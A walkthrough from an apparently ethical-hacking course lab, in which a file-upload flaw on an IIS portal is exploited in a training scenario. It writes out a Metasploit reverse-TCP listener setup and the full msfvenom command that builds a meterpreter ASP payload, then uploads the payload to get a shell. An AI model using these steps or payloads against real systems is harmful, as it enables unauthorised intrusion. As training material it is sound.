## RCE (Remote Code Execution) vulnerability in the portal

Let's take a closer look at the web service running on the IIS server. Open the Firefox browser and go to the address http://10.0.0.3 (or http://iis1.evilcorp.local).

![](sanity:image-2fe39cb9e7b2ad9ea965a401759c2f5a48613427-1524x700-png)

Try downloading the file to the portal.

![](sanity:image-d6cac72a5667dff37764f9bf3f8d279d8b654229-484x114-png)

![](sanity:image-e0792369f236255030a7195098712cb672207395-662x228-png)

Click on "Check your downloaded applications".

![](sanity:image-9593f59b7f639841498a6536f7b72f1c3d691d1d-1154x404-png)

This appears to be very insecure, the application is directly downloading files to the web root. Let's try to download an ASP file that executes code.

```html
<%
Response.Write("Hello World!")
%>
```

![](sanity:image-1c423fa155291cfbf68e5a5e082e60e0688e7a5a-1340x670-png)

![](sanity:image-7387bcc0c410edede086de18cccc1f9d7a359ef3-532x112-png)

![](sanity:image-4290d367e4fe108b4943df4713e8fbbafeb50566-1100x324-png)

Open the file in the browser and confirm the vulnerability - ASP code is executed on the server.

![](sanity:image-84a4282d0360eb1a9243eaf9a2282306165024e9-1062x160-png)

---

## Metasploit listener

Start the Metasploit console (msfconsole) now and enable the common listener exploit/multi/handler. Set the payload to windows/meterpreter/reverse\_tcp, lhost to 10.0.0.100 (your Kali machine IP), and lport to 1234 (the port on which your listener waits for connections).

If you haven't done the Hakateam Metasploit course yet (it may not have been published yet when you are reading this), here is a brief of what we are doing:

- **Metasploit** is an open source penetration testing tool.
- **Meterpreter** is a versatile agent in metasploit that is executed on the target machine.
- **exploit/multi/handler** is a module in Metasploit that accepts connections when a successful attack occurs and opens, for example, a meterpreter connection to the target machine.
- **payload=windows/meterpreter/reverse\_tcp** means Meterpreter payload for the Windows operating system that is served over a TCP connection.
- **lhost=10.0.0.100** determines the IP address of the Metasploit listener.
- **lport=1234 **sets the TCP port for the Metasploit listener.

![](sanity:image-53efd88f6009e61ca26141ab5ba6edfd7ad69def-1382x828-png)

![](sanity:image-79c4854d2c097b4476d10e25ba14989f5e5d3283-1838x554-png)

---

## msfvenom

Create an ASP file now with the msfvenom tool that connects to your Metasploit listener when executed. Just run the msfvenom command in another terminal and provide it with the exact same settings as in the Metasploit listener.

- -p windows/meterpreter/reverse\_tcp
- lhost=10.0.0.100
- lport=1234

In addition, you specify that the created ASP file is saved in the file evil.asp and that the format is ASP.

- -f asp
- -o evil.asp

```sh
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.100 lport=1234 -f asp -o evil.asp
```

![](sanity:image-7af419570017adb31b4fbcf301189589c2ecced4-2336x436-png)

The created file looks quite funky.

![](sanity:image-9064c3103eefff4ddc7d87eff6b795f711066e5b-1226x628-png)

---

## Attack

Now you just upload the file "evil.asp" and execute it like the file "test.asp" earlier.

You should see that the meterpreter session opens in the listener.

![](sanity:image-ec62fdc946ffc727c812e34600b840a96b8a265a-2124x884-png)

You can try using the "sysinfo" command to see what kind of server you hacked into.

![](sanity:image-79fcb045c9d7dea6c09aec1042e6d6817c6401bc-1292x440-png)

Or if you want a regular Windows command prompt, run the command "shell". You can go back with the command "exit".

![](sanity:image-9095ad9a749a8dff0877e4eb6596f3a8f79c66c5-1356x646-png)

---

## Exercises

@exercise f1c138bcba59

@exercise f1d031b1f52b


This is a scenario, please do not unnecessarily close it within the same course area (Scenario 1) so that you do not lose your progress. Please add time if necessary. It may take a few minutes for the scenario to start, please wait patiently.

Evilcorp - Scenario 1

IIS Server Hacking, Metasploit

Windows and Active Directory attacks and defense

Windows is widely used in the IT environments of numerous companies and educational institutions, and Windows networks are typically managed through an Active Directory domain.

In this course, we will explore the security of the Windows operating system and Active Directory from the perspectives of both attackers and defenders. Some of the tasks involve attacks, while others are hardening tasks.

The scope of the course (Windows, attack and defense) is quite broad. If one were to study it purely in theory, the course would be dull. On the other hand, without any theory, there would be no hacking because both attack and defense rely on understanding what is happening.

We chose, for these reasons, to implement the course using a scenario-based approach, where each section of the course deals with one "scenario" that may include a few attacks, a few tools, and a few hardenings to protect against the attacks.

The theory is covered in small pieces in practical context, always when necessary. Things are tried to be understood at the bit level in order to avoid the unfortunate phenomenon typical of such courses where the student knows how to try the psexec attack after obtaining the NTLM hash, but does not understand at all what the attack does and how it works (spoiler: psexec is based on the Service Control Manager RPC interface, which launches the desired command as a Windows service on the target server). Let's peek under the hood with Wireshark and dig into the source code of modules, for example, Metasploit.

This way, a comprehensive and theoretical topic will hopefully become fun and easily approachable step by step.

Are you ready to break into EvilCorp's corporate network?

The course does not require knowledge of Windows environments, but otherwise basic things like Linux, computer networks, nmap, etc. would be good to have. Welcome to the course!

This course is still under construction, more scenarios will be added.

This course is in BETA mode, please let us know if you come across any misaligned bits.

IIS Server Hacking, Metasploit

Learn to hack — start here